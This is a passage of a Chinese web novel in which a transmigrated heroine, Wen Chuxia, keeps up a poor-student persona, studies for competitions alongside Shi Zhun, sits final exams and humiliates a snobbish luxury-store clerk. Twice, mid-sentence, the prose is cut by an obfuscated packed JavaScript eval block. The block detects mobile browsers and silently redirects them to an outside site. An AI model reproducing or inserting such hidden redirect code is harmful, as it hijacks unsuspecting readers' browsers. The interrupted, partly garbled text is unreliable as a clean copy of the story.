【悄眯眯拍了张温学霸的储物柜,被卷子资料塞得满满当当,好爱学习一女的】 …… 评论区也都是震惊我全家—— 【我靠全科??!我只报了两科就已经觉得很吃力了,wcx已经不能算是学霸了,得算学神了吧!】 【麻了麻了彻底麻了,人与人之间的差距怎么能这么大,我只报了一科物理呜呜呜】 …… 【我今天中午也在食堂遇到了,她当时在看高数的书,我好奇瞅了一眼,里面全是密密麻麻的公式。就一眼,我刚吃下的饭差点吐出来,太晕了!真不是我等渣渣能学进去的东西】 【昨天不是还有帖子爆料wcx混社会吗,这下打脸了吧,人家学神每天学习都来不及,哪儿有时间混社会啊[白眼]】 【昨天那个帖子本来就一眼假,信的人以后老了卖他们保健品】 …… 【不er,今天怎么全是关于温的帖子啊?合着大家都从她的全世界路过了是吧??】 【妈耶,这满满一柜子的卷子,得有十几斤吧,我光看着就觉得肝好痛】 【难道就我一个人注意到她柜子里的笔袋使用痕迹超明显吗?都有毛边了,应该是用了好几年的吧,学霸好节俭啊】 …… 温初夏没想到李书雪办事效率这么高,一个下午就发了四五条帖子,披着十来个小号在评论区火力全开上蹿下跳,帮她把“贫困好学生”的人设重新立回来。 这时再去看界面融合度,果然涨了0.5%。 “yes!” 温初夏一个鲤鱼打挺,举着手机满客厅地跑来跑去欢呼,呼完后信守承诺,给温汝峰打去电话。 片刻后,电话接通—— “……嗯,他女儿是我同学,最近帮了我一个忙,我得回报人家。” “……我一个人挺好的啊,清清静静的,还不用担心身边是不是有人要害我,省事又省心。” “……你才有被害妄想症呢,什么阿姨什么弟弟?!她儿子将来是要和我争家产的!我见一面都烦,还想让我把他们当家人?您要不赶紧去睡一觉吧,梦里啥都有。” “……哎呀生活费加不加都无所谓,反正我也从来不用。” “……不回来,不想回。就这样吧,我还要学习,拜拜。” 态度恶劣地挂断电话后,温初夏放下手机,叹了口气。 怪刚才演戏演的太沉浸,现在她连看着刚买的包子都觉得不香了。 所以说一个畸形的原生家庭真是害人不浅啊…… “嗡嗡。” 突然,手机又振了一下,温初夏重新拿起一看,是时准的好友申请。 温初夏:这人是从哪儿加到我微信的??? 她点击通过,聊天框立刻弹出一条消息—— 【我报了数物化三科的竞赛,妈妈给我找了一对一的辅导老师,你有没有兴趣来和我一起听?】 12. 第 12 章 接下来的一段时间过得飞快。 温初夏每天连轴转地学习,像个致力于雨露均沾的皇帝,英妃宠完了临幸物嫔,数贵人看腻了就召化常在觐见,端水端的连大内总管李书雪都忍不住私下发微信提醒她—— 【皇上,保重保重龙体吧,好学生的人设对您而言就这么重要吗???】 温初夏豪迈地回:【这点儿苦都吃不了,以后怎么继续打江山?】 李书雪沉默片刻,单走一个六。 粉团子也目瞪口呆:这恒心这毅力这狠劲,怪不得是全穿书局升级最快的女人。有这样的意志力,宿主你无论干什么都会成功的! 两个月后。 出租屋里刷完的试卷练习册足足垒成了近一米二的纸山,全被温初夏当废品送给了隔壁冉奶奶。奶奶可高兴了,她买了爱吃的喜之郎果冻。 虽然女主本身学习底子就很好,但竞赛毕竟考的是超纲内容,为了多拿几个好名次,温初夏把日程表安排得十分紧凑,休息时间精准到分,像拧干的海绵,一滴多的都挤不出来。 周一到周五,她白天在学校学习,晚上在家里刷题,到了周末就去教辅机构和时准一起补课,几乎每天都是十二点睡五点半起,两个多月来愣是没有一天是休息的。 而每周周末,林茵陈总会借着接送时准的名义,来补课机构和温初夏见面。 她通常是早上和时准一起来,在机构的休息室呆一上午,等待中午下课带他俩去附近的高级餐厅吃饭,然后才回家,像个事无巨细爱操心的母亲,关心着温初夏的学习生活和身体,不放过任何一点微末的细节。 虽然林茵陈确实拥有一层母亲的身份,但她的关心对象却大大错了位。 原本温初夏这么做的目的是为了推迟时准黑化进度,防止他病态地爱上自己。 可随着见面次数增加,林茵陈对她的关切程度爆炸般增长,别说干女儿了,哪怕是亲女儿,也很少有上心成这样的。 所以到了后头,温初夏都怕时准会不会直接恨上自己了,毕竟夺母之仇谁能忍啊? 可奇怪的是,这人从头到尾没有表露出一点儿生气或吃味的情绪,甚至还和林茵陈一起关心她,宛若一朵无私大爱的圣洁小白莲。 不争不抢到连温初夏这种习惯了以自我为中心、从不内耗的人,都忍不住觉得有点愧疚和心虚。 但她能直接和时准道歉说“真不好意思啊,我也不是故意想抢你妈的,你要怪就怪狗逼系统和狗逼同人文作者”吗? 她能吗?她不能! 温初夏心里很窝火,只能礼尚往来地也关心起时准,给他讲题喂题,帮他给刷完的卷子订正答案,走在身后替他整理并没有乱的衣领,提醒他下雨带伞、天冷加衣…… 讲真,温初夏对待自己的亲弟弟,都不一定会有她现在对时准这么好。 不,是一定不会。 毕竟自己那位同父异母的便宜弟弟,将来是要和她一起争家产的,是亲人又是敌人,简称亲敌人。 这段时间,温初夏拿出毕生最大的温柔和爱心,在寒冷的深秋,想让时准体会到什么叫做如春风化雨般温暖的……姐爱。 但这小子死犟的很,始终不愿意叫她一声姐。 周日。气温骤降。 沉默的云层逐渐积累,天空灰扑扑沉甸甸的,摇摇欲坠,一副要下雨的样子。 还不到下午六点,惨淡的天色就由灰白转为了灰黑,雨就在这时跟着来了。 酝酿了一整天的冷雨并没有想象中的来势汹汹,相反,只是三三两两断断续续地落了几滴,给干燥的空气徒增几分聊胜于无的湿润。 雨滴落一会儿,停一会儿。 再落一会儿,再停一会儿。 在这个万物凋零的季节,连下雨都是如此的单调无趣,了无生机。 单独授课的补习室早已经亮起了灯。 上完课后,老师给两个学生发了套数学竞赛卷,里面的每道题哪怕放在竞赛里都是能当压轴的难度,还限时一百分钟内必须做完,简直是想害人性命。 第三遍通读完最后一道题目的题干后,时准还是一点头绪也无,他轻轻叹了口气,目光往前移,看到了电子计时器上的倒计时,还剩10分49秒。 再往前移,是一张和自己同样的试卷,最后一道大题的答题处写满了工整娟秀的字迹。 大概五分钟前,温初夏就刷完了卷子。 放下笔后,她把原本侧对着他俩的计时器转到只对着时准一个人,还将试卷也转了个方向,明晃晃地放在计时器旁边,起身离开了教室。 这方位,摆明了是想让他抄。 但时准并不想抄,所以没等大脑自动识别出试卷上的字迹,就毫不费力收回目光,继续去啃最后一道难题。 虽然和温初夏一起补习了快一个月时间,时准早已习惯被她的智商按在地上摩擦的感觉。 但,每当看见她只要稍微思索,再难的题都能轻松解出来,时准难免还是会觉得有些微妙的妒忌和心塞。 一个人的脑子怎么能聪明成这样? 时准忍不住又叹了口气,重新握紧黑色中性笔,打算再读一遍题。 忽然,一个温热的易拉罐贴到了脸颊。 嘶,有点烫。 他被吓了一跳,猛地回头,看见温初夏洋洋得意地站在身后,一脸恶作剧成功的狡黠表情。 她一手拿着一罐旺仔牛奶,右手那罐是打开的,插着被牙齿咬瘪的塑料吸管。 温初夏伸出左手,把另一罐没开的给他,语气是不知人间疾苦的轻快: “还没做完呢?喏,喝点儿甜牛奶补补脑。” 原来是去买喝的了啊。 不过这语气确定不是在炫耀?离规定时间还有十分钟呢。 时准无奈一笑,放下笔,接过易拉罐后并没有立刻打开来喝,而是两手捧着取暖,刚才在题目里焦急打转的思绪像松了绑的气球,迅速放松下来。 南方虽然没有暖气,但机构的教室里其实有空调,他们在的这间还是两台,但温初夏很嫌空调吹出的热风,觉得太燥,所以自打一周前开过一次后,空调就再没发挥过它应有的作用。 冰凉的左手渐渐升温,时准问:“在哪儿买的?” 他可不记得楼下的贩卖机有卖热饮。 “外面的便利店。” 温初夏没去对面,而是拉开他旁边的椅子坐下,叼着吸管嘬了最后两口,见底的易拉罐发出咕噜噜的声音。 “我特意挑得最热的买的,差点儿被底下的加热板烫到,赶紧的,趁热喝。”她催促道。 时准闻言望向窗外,此刻天色已经很暗了,不出半小时就会彻底切换到黑夜状态,飘渺的雨丝砸到玻璃窗上,留下几缕破碎的痕迹。 他扭头看回温初夏,微微皱着眉:“外面在下雨呢,我记得你好像没带伞吧?没几天就要考试了,当心感冒。” “外面下雨了吗?”温初夏把喝光的空罐放在桌上,随意地瞥了眼外面,发现还真是,满不在乎道:“那雨也太小了吧,我完全没感觉到。” 这两天明明大降温,温初夏却依旧穿的很单薄,上半身是件深色短款连帽衫,拉链半拉,露出里面的衬衣内搭。 下身是一条高腰牛仔裤,紧绷的弹性面料包裹着的一双长腿又细又直,休闲中带着些干练,有种不同于同龄人的成熟和随性。 以至于今早温初夏端着杯塞满冰块儿的冰美式活力满满地出现在补习室的时候,时准有种这人不是来这儿上课的,而是来上班的错觉。 于是他问出了一直想问的问题—— “请问您是有战斗民族血统吗?穿这么点儿。也不知道今早七点半是谁给我发微信,提醒我今天最低气温只有五度,让我多穿点的?” “没有战斗民族血统,就是天生比较抗冻而已。”温初夏一本正经,“哪怕冬天下大雪,在室内我也习惯只穿这么点儿,而且我从来不感冒的——有没有很羡慕?” “羡慕才怪。” 时准不再看她,纤长的手指扣住易拉罐的拉环,“嘭”地一下拉开,仰头浅喝了一口,轻柔的动作没有让上嘴唇粘上一点奶沫。 “等以后老了关节炎和风湿会教你做人的。”他说。 温初夏心想到那时候我还不知道在哪个界面做任务呢,痛也痛不到我身上,怕这个作甚。 她轻轻哼了一声,找茬的目光移到时准身前的试卷上,发现他最后一道大题还干干净净空着,托着腮,很讨打地问:“卡这儿啦?” 时准又喝了口牛奶,体积并不袖珍的易拉罐落到他的大手里,却显得有些小巧迷你。 他差点儿呛到,喝完后悄悄伸舌头把上唇的奶渍舔掉了,没说话。 温初夏笑着问:“要不要我教你呀?” 狡猾的狐狸正准备循循善诱,没想到下一秒就被提前预判怼了回去—— “又是要叫你姐姐才会教我对吧?” “……” 温初夏噎住,即将合十的双手尴尬地僵住,接着又换成了双手抱胸。 她后背靠在椅子上,仰着头,死皮赖脸地嘟哝:“叫我声姐又不会少块儿肉。” “确实不会少块儿肉——但叫了我也不会多块儿肉啊。” 嘿,这人真是精明得很。 “诶诶,我刚给你买了牛奶呢,还是冒雨买的!这难道不算‘肉’?” “算礼尚往来,不然昨天我那份炒年糕岂不是喂狗吃了?” 温初夏:“……” 你行,啊,死犟种。 总有一天我会让你叫姐的。 . 忙完这一阵已是深冬时节。 居民楼前的老银杏在一周内掉光了金灿灿的叶子,成了光秃秃的光杆司令。空气湿冷,清晨六点的天色和半夜没有任何区别,路灯还亮着。 温初夏站在四下无人的公交车站旁呵气成雾,感受着寒风中弥漫着的肃杀之意,相比于之前,她在校服外面加了件薄款的黑色羽绒服,但下身的制服裙下依旧只有一层腿袜。 这种天气,这身穿搭,说不冷是骗人的。 但温初夏不讨厌冷的感觉,她认为适当的寒冷能让人的头脑保持清醒,再加上体质原因,她能很轻松地适应低温,所以乐意这么穿,方便轻巧。 自上次车胎被扎后,温初夏又买了辆新自行车,直到一周前她都还是骑车上下学,只是因为最近两天风刮得实在太猛了,这才换成了坐公交。 温初夏是不怕冷,但她不是傻,知道这种天气如果还敢骑车的话,那自己这张艳压全书的小脸蛋就不能要了,铁定得去医院治面瘫。 今天是期末考试的最后一天。 清荟的考场顺序是按照成绩来排的,温初夏是一考场的第一个,后面坐着时准,再后面就是李确。 上午第二堂考的是英语。 《等风说雨停》原著中,女主温初夏是妥妥的六边形战士,各科都很优秀,但英语相对来说要弱一些,每次大考单科总进不了年纪前十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502003|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这其实很合理,因为原著中温初夏家境贫寒,不像其他同学从小就接受各种外语补习,所以听说读各方面都要差一些。 但女主温初夏的英语不行,不代表守护者温初夏的英语也不行。 穿越过那么多界面,做过那么多任务,许多国家的语言她都会说,更别提作为世界通用语言的英语了,口语完全就是native级别,甚至还能切换不同地区的口音。 但为了尽可能地贴合人设,在提前四十分钟做完卷子后,温初夏挑了几个难度相对较高的选择题,把答案改错,然后就托着腮开始发呆,一直到铃声响起,才起身交卷。 从教学楼去食堂的路上熙熙攘攘,时准和温初夏并排走在干饭大军之中,问她:“感觉怎么样?这次的英语还挺难的,阅读生词特别多。” “一般般吧。”温初夏耸耸肩,表情和语气都淡淡的:“你知道的,我英语不太行。” 时准从她的声音中听出了几分疲惫,以为温初夏情绪不佳,立马安慰说:“没事,已经考完的科目就别再想了。我听冯老师说下午的数学考试题出的比较难,足够你把英语落下的分补回来的。” 他不知道的是,温初夏之所以这样并不是觉得英语考差了,而是因为刚才发了太久呆,给她发困了。 因为食堂一层出餐比较快,所以通常考试天在这儿吃饭的人要比往常多一些,今天就是这样,甚至还出现了几道往常不会出现在这里的身影。 比如,周雅宜。 “时准!” 大小姐站在入口观望了好半天,可算在人群中发现了时准的身影,快步向他走去,走到一半才发现他身边居然还杵着个温初夏,嘴角雀跃的弧度顿时垮了下去。 “你怎么和她在一起啊?” 周雅宜一脸不爽,看见心上人的好心情瞬间抛到了九霄云外,“你俩什么时候变得这么熟了??!” “我们……”时准正要解释他和温初夏早在两个月前就已经熟了,没想到却被身边的人抢了先—— “年纪第一和年纪第二在同一个考场前后桌考完试之后一起来食堂吃饭,顺便讨论一下题目难度对对答案,有什么问题吗?” 温初夏眨眨眼睛,说话时故意站得离时准近了点。 周雅宜本来看见温初夏就来气,结果她还说话这么难听,还贴时准贴得这么紧,摆明就是故意的,于是更是气上加气。 而这位大小姐一生气,就忍不住要拿手指人:“温初夏,你这人怎么这么讨厌?!别以为你上次和我道了歉我就彻底原谅你了……” “雅宜。”时准怕这俩真当着这么多人面吵起来,下意识抬起手臂护着温初夏,冷着脸训斥:“别这么咄咄逼人好吗。” ??? 什么? 我咄咄逼人??! 周雅宜秀丽的小脸上出现了一瞬间的空白,手从指着温初夏变成了颤颤巍巍地指着自己,表情难以置信到了极点,几乎快哭出来了:“为了她,你凶我?” 时准这才意识到自己刚才好像表现得有点凶,责怪的眼神立刻软了下来,想和她解释:“不不我没这个意思,我就是……” 但周雅宜已经红着眼圈扭头走了,走之前还撂下一句话:“我知道了,是我打扰到你们学霸讨论学习了,我的错,以后再也不会这样了,再见!” 时准:“……” “诶。” 温初夏看着周雅宜委屈的背影,有些好笑地用胳膊捅了捅时准,问:“人都要走远了,你怎么还不去追啊。” 时准正纳闷自己刚才怎么会突然这么生气,难道是因为周雅宜为难的人是温初夏? 但他没来得及深究,回答说:“她是来找我借笔记的,等吃完饭再去和她解释吧,正好把笔记带给她。” “笔记?什么笔记?”温初夏问,“数学?” “嗯。” “现在看还来得及吗?” “……她基础比较,一般。我给她压了几道基础题和必考公式,都标记在笔记本里了,太早看的话也记不太住。” “那她为什么不来问我借啊?”温初夏状似不理解,“我数学回回考第一还和她一个班,干嘛舍近求远……哦,我明白了。”她的语气忽然变得笃定。 “明白什么?”时准看她。 温初夏笑了一下,挑眉眨眼地戏谑道:“人家肯定是想接着借笔记的机会和你多相处一会儿呗,这么明显,你不会没看出来吧。” “什么呀。”时准也笑了,但笑得比较无奈,“我和雅宜从小一起长大,住的地方也很近,她犯不着用这种理由和我见面。你别误会她,更别误会我。” “好吧。”温初夏撇撇嘴,表面上没反驳,心里却是想:那你可不明白青春期少女弯弯绕绕的小心思…… 可惜啊,周雅宜是对爱而不得的男二爱而不得的女二,一片芳心将来注定要喂狗。 此时此刻,李确在最靠左的窗口打了饭,端着餐盘向食堂更里的方向走,目光搜寻哪里有人少清静的座位,忽然,感受到了一阵微弱清风,是身边快步经过的人带起的。 搜寻的目光于是下意识向右转移,他看见了一个女生。 对方有一头深棕色的波浪长卷发,走起路来发丝跟随着动作飘动,靠近耳朵的地方还别着枚小小的库洛米发卡。 是错觉吗? 李确停下脚步,目光紧紧追随着对方的背影,直到她离开食堂。 我怎么好像,闻到了一股桃子清香…… 13. 第 13 章 三天后。 “你确定男主宋云泽现在就在那家店里?” 上午十一点,市中心的商场人来人往,凛冽的寒风阻挡不了人们逛街购物的热情,虽然距离春节还有十来天,但过节的氛围已然浓郁,连头顶的巨型LED屏播放的广告都是红红火火喜气洋洋的。 在一众打扮fashion的时尚弄潮儿当中,温初夏依旧穿着她那件平平无奇的黑色羽绒服,水洗牛仔裤看不出来究竟是做旧的还是真的很旧,手里拿着半截用油纸包裹着没吃完的油条,在冷风中已经凉掉很久了。 “当然确定。”交流频道里传来粉团子言之凿凿的声音,旋即又变得犹豫:“不过你真的要去提前和他见面?万一……” 温初夏把吃剩的冷油条扔进一旁的垃圾桶,拍了拍手:“能有什么万一?” 绿灯亮起,温初夏被人潮裹挟着走上斑马线,吊儿郎当的语气有种一切尽在掌握中的悠闲:“只是提前混个脸熟而已,方便以后攻略起来省时省力一点。放心,这种事我熟练的很,不会出什么岔子的。” 粉团子:“……” 不按套路出牌是什么很值得骄傲的事吗??? 店内,二层。 “啊——” 被折磨的快要上天的宋云泽发出一声痛苦的长叹,整个人摆烂地往后一倒,陷入身后柔软的皮质单人沙发。 漂染成白金色的短发耙梳向后,露出少年光洁的额头,以及浓墨重彩到仿佛是用吸饱墨汁的毛笔新画就的两撇浓眉,如此强烈的色彩对比,让他原本就极具冲击力的眉眼看起来更加深邃夺目。 “姐,你就饶我了吧。” 大概是嫌天花板的灯光太亮,少年抬起手臂挡在眼睛上,单侧的金属耳钉闪着光,说话时,那段向后弯曲的脖颈中凸出的喉结轻轻滑动。 刚过变声期的男孩嗓音尚且有些沙哑,愈发显得他的语气不耐烦: “我是真的看不出来你戴哪条项链哪对耳环更好看——就不能全买了吗?” 此话一出,围在宋念慈周围的店员们通通眼睛一亮,目光互相碰撞,流露出“这个月业绩怕是稳了”的激动光芒。 然而,还没等副店长吩咐其他人赶紧把上个月新出的顶奢系列给这位上帝全部呈上来,宋念慈就放下了整理项链的手,一记锋利的眼刀直直劈向沙发上的叛逆老弟,顺带斩断了其余人天降横财的梦想。 “我说你这暴发户的气质什么时候才能改一改,还全买,当你姐我冤大头啊?” “而且来的路上我就已经说得很清楚了,今天绑你过来不是为了让你看我戴着好不好看,是看这些首饰到底适不适合送给林阿姨。” 要不是碍于现在周围都是外人,宋念慈真想把腰间皮带抽出来,狠狠抽宋云泽一顿。 这臭小子,也太不配合了! 宋云泽正是知道他姐的这个原则,尽管脾气火爆,但不会在外人面前随便揍小孩,所以依然保持着陷在沙发里躺尸的姿势,没吭声,一副“怎样?杀了我?”的消极抵抗态度。 然而消极了不到两秒,就被逮着领带扯了起来。 “喂!” 宋云泽猝不及防,叫了一声,感觉脖子差点儿被勒断。 他难受极了,赶紧把领带扯松开来,用力咽了咽才勉强压制下咳嗽,眼神忿忿地瞪着宋念慈,可刚想说话,就被抢了话头—— “要不是看在咱家就你和妈妈见过林阿姨,并且妈妈没空的份儿上,我才不会带你过来呢,简直是给自己找罪受!” “活该,谁让你自作自受。” 宋云泽拧着黑眉,感觉脖子还是难受,于是干脆把领带摘掉,又扯开衬衣最上的两颗扣子,咳了几声,这下终于气顺了。 他再次恢复了之前消极抵抗的态度,瓷白色的脸颊微微有些发烫,瘪着因咳嗽而变得红滟滟的唇,委屈地说:“而且你绑我来也没用啊。你又不是不知道,我有选择性脸盲,一切雌性生物的外貌在我这儿都留不下任何印象。” “更何况五年前我第一次也是目前唯一一次见到林阿姨的时候,百分之八十的时间都是在和她儿子一起打游戏,真不记得她长啥样了——不过她儿子长什么样我倒记得,要不你给他买套首饰得了。” “哈,行啊你宋云泽,为了偷懒连选择性脸盲都搬出来了。”宋念慈气笑了,指着自己问:“我也是女的,那请问您还记得我是谁吗?” 闻言,宋云泽歪了歪脑袋,眼神瞬间转变成无比清澈:“对哦,你是谁啊?我为什么会在这儿?” 宋念慈:“……” 宋云泽从沙发上站起来,舒展一下筋骨,抬腿就要往楼下走:“抱歉这位陌生的女士,不好意思我先得走了,约了朋友下午一起打台球……” 就要擦肩而过时,宋云泽再次被他姐掐住命运的后脖颈,然后一巴掌拍回沙发上。 “坐、着。” 宋念慈的态度彻底强硬,不容置噱地说:“晚上我们一家四口要去林阿姨她家吃饭,老爸特别叮嘱我,让我今天白天务必拿根裤腰带把你栓在身边,省得到时候又不知道跑哪儿野去了。我没真用绳子把你拴着你就感恩戴德吧,还想去打台球,你咋不上天呢?!” 逃跑失败,宋云泽大为郁闷,整个人蔫儿了下去。 他又陷回了单人沙发里,跟没骨头似的,阖上眼,手臂依旧搭在眼睛上遮挡光线,任凭宋念慈如何叫唤,他都不带动弹一下。 无聊。 无聊透了。 为什么女人会喜欢逛街购物这种既无聊又破费的事儿?上赶着给人送钱,还这么开心? “诶老弟,你说林阿姨是会更喜欢玉一点儿呢,还是翡翠一点儿呢?妈妈说上次见她的时候,她就戴了对玉镯子……” 拜托,这俩难道不是一个东西吗? 宋云泽快烦死了,竖起耳朵,努力寻找着屋子里的有没有别的声音,别的能把他从老姐的唠叨声里解救出来的声音。 没想到还真有—— “咦?这位小妹妹,你是怎么上来的?” 他身后不远处,一名导购在低声说话:“我们这儿二层是只有VIP才能进的。” 对方果然是个小女生,音色清清亮亮的,虽然音量压的比较低,但宋云泽还是能很轻易地听到她说的是什么。 “坐电梯啊。”对方坦诚地回答。 “嗤。”宋云泽轻轻笑了一下。 这位,搞错重点了吧。 “不、不是问你上来的方式。”导购有些尴尬,干笑了两声,又重复一遍:“二层是只对VIP开放的,你……应该不是我们店的VIP吧?” 女生:“我刚才把一层逛了个遍,都没看到喜欢的,问楼下的工作人员能不能多拿一些款式出来,他又一副爱答不理的样子,所以才上来的。” 导购从头到脚扫她一眼,发现这人衣着十分朴素,虽然长得是挺漂亮,但浑身上下看不出一点儿有钱人的样子……仔细一闻,好像散发着一股油炸食品的味道??? 该不会是那种明明没钱,但为了发精装朋友圈装逼,来店里只拍照不买单的女的吧?导购心里嘀咕。 怪不得一楼的同事不愿意伺候,他也最不乐意对付这种人,纯属浪费时间浪费生命。 “抱歉这位小姐。” 导购脸上笑眯眯心里mmp,重音强调地重复第三遍:“我们这儿只接待VIP客户,您要是挑不到满意的商品,可以去别处看看——我看隔壁的地下商场就挺适合你的。” 傻子都能听出这话里的轻蔑,女生的语气瞬间也变的不太好:“非得VIP是吧?” 没等对方回答或点头,她就伸手指向旁边挂了满满一墙的包,问:“那我把这面墙买下来,够成为你们店的VIP吗?” 躺在沙发上的人倏然睁开眼睛,慢慢坐直身来,扭过头。 嘿,这下终于不无聊了,有戏可看。 “小妹妹,你在开玩笑吧?”导购故意提高了音量,“你真打算把这一整面墙的包包都买下来?” 这句话清晰地传遍了整个二层,副店长小心地把宋念慈看过觉得不满意的祖母绿项链放回盒子里,转过身,用略带斥责的口气问:“怎么了?大呼小叫的。” 导购立刻无辜道:“我不是故意的,是因为这位客人说要把这些包全买下来,我太惊讶了,所以没控制住声音。” 副店长听到瞪了大眼,心想自己何德何能,居然能让店里一天迎来两尊大佛,这个月业绩难道要破纪录了??! 她忙走过来一看,却发现说出这句豪言壮语的人并不是浑身上下珠光宝气的富太太,而是一位年纪轻轻的小姑娘。 优秀的职业素养让副店长并没有露出任何不当的表情,而是先回头对围在宋念慈周围的同事使了个眼色,让他们别看热闹,伺候好贵客要紧,然后面带微笑地询问温初夏:“这位小姐你好,我是这里的副店长,请问有什么能为您服务的?” 温初夏小声嘀咕了句“终于来了个服务态度好的了”,又用正常音量道:“我想成为你们这儿的VIP顾客。” 此话一出,副店长就大概明白是怎么一回事了,脸上笑容依旧:“那你大可不必这么破费,我们店的规定是一年内累计满二十万就能注册成为VIP。您看看最上面这三排的包包,都是我们品牌的经典款,您随便挑上四五个就够了。” 温初夏跟随她手指的方向看去,不知为何愣了足足四五秒钟时间,才清了清嗓子,点头说:“好啊,拿下来我看看吧。” “小赵,去。”副店长冲导购抬了下下巴。 导购一脸不情愿,用口型说:别吧,她一看就买不起的,浪费这个时间干嘛。 但副店长拧了拧眉,还是坚持让他去,姓赵的导购没有办法,只能一边叹着气,一边直接把整面墙价格排前三的一只包给拿了下来,毫不走心地介绍说: “这只是复刻的1966年的经典款, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502004|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材质有牛皮也有羊皮,我手里这个是羊皮的,价格不算贵,也就十万九千多一点,你要是一口气买俩,就能入会员了。” 温初夏沉默地看了一会儿,然后向他伸出手。 “干嘛?”导购一脸警惕。想抢啊? 漂亮眼睛不客气地翻了翻:“我不自己拿着试一试怎么知道我背这个包好不好看?” 被呛后,导购回以更大的白眼,不情不愿地把包递给温初夏,那表情活像刚生产完被抢走孩子的母亲,幽怨道:“那你小心点儿啊,可别弄坏了,如果损坏了的话是得照价赔偿的。” 温初夏站在全身镜前,把包先是拿在手里,又挎在肩上,专心打量着自己,但姿势明显有些生疏,一看就是平时并不怎么背包的人。 于是导购几乎笃定了对她的猜测,态度也更加轻蔑了,插着腰开始喋喋不休: “轻点儿轻点儿——万一留下个指甲印或者破皮了你赔的起吗?我看你年纪轻轻也不像是能消费奢侈品的样子,小妹妹,别怪哥哥说话难听啊,什么档次的人就买什么档次的东西,你这种人我见多……” 唠叨戛然而止,因为温初夏忽然转头盯住了他。 “我买不起,你一个月薪六千的就买得起了?” 导购:“……” 他不敢说他的月薪只有五千五。 导购没想到这个装大款的女生居然直接戳中了自己的痛处,一张脸瞬间涨的通红,然而还没等他想好该怎么怼回去,对方就把手里的包包往他身上一扔。 “诶!” 导购接了两次才勉强没让包摔在地下,后背惊出一层冷汗。 他抬头瞪向温初夏:“你干嘛呢!” 温初夏双手插兜,语气依旧平静:“服务态度这么差,平时没少被投诉吧?” 导购差点儿没站稳:“……” 噗嗤,又来一刀大的。 女孩的眼睛没有温度地笑了笑,泪痣如月影般轻轻晃动。 她音色俏,哪怕说的是不好听的话,听着也挺好听的:“你们这儿的款式也太老气了,都20XX年了卖的还是半个世纪前的设计,一点儿心意都没有。” “算了,不逛了。” 她转身要走,然后像是忽然想起了什么,回过头来,目光穿过猪肝色的导购,直直地与宋云泽的眼睛对上。 猝不及防的对视让宋云泽身体一僵,原本只是抱着看乐子不嫌事大的态度,此刻却本能地紧张起来,甚至连呼吸都下意识停止。 他感觉自己的心脏被这双眼睛给攥住了。 漂亮眼睛之上的漂亮眉毛挑了挑:“还有你,刚才一直盯着我看干什么?难不成是对我一见钟情了?” 宋云泽俊美的脸上十分懵逼:?!! 温初夏走后,二层保持着死一般的寂静,直到宋念慈“噗嗤”一声笑出来。 “哈哈哈哈哈哈哈……” 宋云泽立刻:“你笑个毛啊?!” 他的耳朵悄悄红了,烦躁地瞪了老姐一眼,又看回温初夏离开的地方,骂骂咧咧道:“简直有病这个人,我怎么可能对她一见钟情,真好意思啊……她绝对有神经病!有幻想症!” 宋念慈擦擦眼泪:“怎么不可能,人小姑娘长的挺好看的啊——我猜人家大概是平时被搭讪习惯了,所以才会以为你喜欢她。要怪就怪你自己,一直盯着别人看干嘛?难不成是真喜欢人家了?” “……你审美有问题。”宋云泽老半天才憋住这么一句。 “怎么可能,你说话要讲证据。” “怎么不可能,你从小到大一直嫌我丑!这就是证据!!” “我又没嫌弃错,你确实长的很丑啊。” “啊啊啊啊宋念慈你完了……不对!我要跟你没完!!” …… . “奖杯、奖状、奖牌,上学期你们这些参加竞赛的同学获的奖通通都在这儿了——你来的挺巧,刚好期末成绩也今天是出,一会儿你把你的奖状奖牌找出来,就可以顺道去语文办公室拿成绩条,阚老师正在印刷呢。” 年纪主任两手捧着泡着热茶的玻璃杯,乐呵呵的脸上一派喜气洋洋。 今天的气温逼近零度,阳光却十分灿烂,澄澈的日光照在人身上暖呼呼的,要是穿着一身黑走在室外可能还会被热出汗。 教学楼的电梯正在检修,时准是爬楼梯上来的,听到年纪主任的话后,他礼貌地笑了笑,说了声“好”,目光在一众红金相间的颜色中搜寻着自己的名字。 温初夏。 温初夏。 温初夏。 “……” 年纪主任紧盯着时准,一从他脸上勘察出点儿微妙的表情,就笑呵呵道:“第一排的不用看,全是温初夏的,她一个人得了太多奖,我就给她单独整理到一起了,你从第二排往后开始找吧。” 时准:“……” “好的。” 不早说,故意的吧您? 14. 第 14 章 五分钟后,语文办公室。 “阚老师。” 时准抬手在门上叩了叩。 阚春兰双手撑在身后的椅子靠背上,正盯着不断吐出A4纸的打印机发呆,听到有人叫自己,立刻偏头看去,发现是时准,笑了一下:“你怎么来了?是知道今天出成绩吗?” 在大部分学生眼里,非上课时间的阚春兰要比课堂上的她和蔼可亲不止一倍,放假期间的就更是如此了,连时准都有些被她此刻格外平易近人的气质惊到。 他回忆了下,上次见阚春兰这样,好像还是她劝温初夏别报那么多竞赛的时候。 时准走进办公室:“我是来学校拿奖状的,主任说成绩出了,就让我来看看。” “这样啊,那你来得挺巧。”阚春兰又笑了笑,从打印出来的一叠纸里抽出一班的成绩单,“你的成绩一向很稳定,这次还是全班第一,喏。” 时准接过,扫视的眼神略过最前面的各科分数,直接锁定到最后面的年纪排名上。 果不其然,黑线框里的数字是2,总分和班级第二名年纪第三名的李确就差了3.5分。 